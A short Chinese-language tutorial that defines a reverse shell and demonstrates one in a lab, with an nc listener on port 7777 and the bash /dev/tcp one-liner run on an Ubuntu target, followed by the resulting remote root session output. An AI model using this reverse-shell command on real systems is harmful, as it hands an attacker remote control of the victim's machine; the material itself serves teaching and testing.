什么是反弹shell
reverse shell,一般称为反弹shell,实际应该成为反向shell
,是指被控制的机器作为client主动连接到控制端的server,然后控制端的server就可以对被控端的client进行操作了。
就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。(是网络概念的客户端与服务端的角色反转)
如何进行部署和操作
被控端的反弹shell和主控端的连接
参考试验举例
# 攻击机 主控端
CentOS 7.6
1.需要firewalld放行7777的tcp
2.安装nc,监听端口 7777,即执行命令
nc -lvp 7777 # 需要先启动这个,否则被控端无法连接主控端
终端显示如下:
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777
# 目标机 被控端
Ubuntu 18.04
bash -i >& /dev/tcp/10.0.4.146/7777 0>&1
此时,主控端 10.0.4.146的nc终端会增加显示,然后可控目标机
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777
Ncat: Connection from 10.0.4.69.
Ncat: Connection from 10.0.4.69:60846.
[root@localhost ~]# ip a |grep inet # 这是在nc的终端
ip a |grep inet
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
inet 10.0.4.69/16 brd 10.0.255.255 scope global noprefixroute br0
可知连接成功
REF
- https://xz.aliyun.com/t/2548
- https://xz.aliyun.com/t/2549
- https://www.debugwar.com/article/skills-of-reverse-shell
- https://github.com/0x00-0x00/FakePip/blob/master/setup.py
- https://www.t00ls.cc/search.php?searchid=358&orderby=lastpost&ascdesc=desc&searchsubmit=yes&page=2
- https://f5.pm/go-27852.html
-
https://mp.weixin.qq.com/s/VAHriOf4HVUna3FxhKg_OA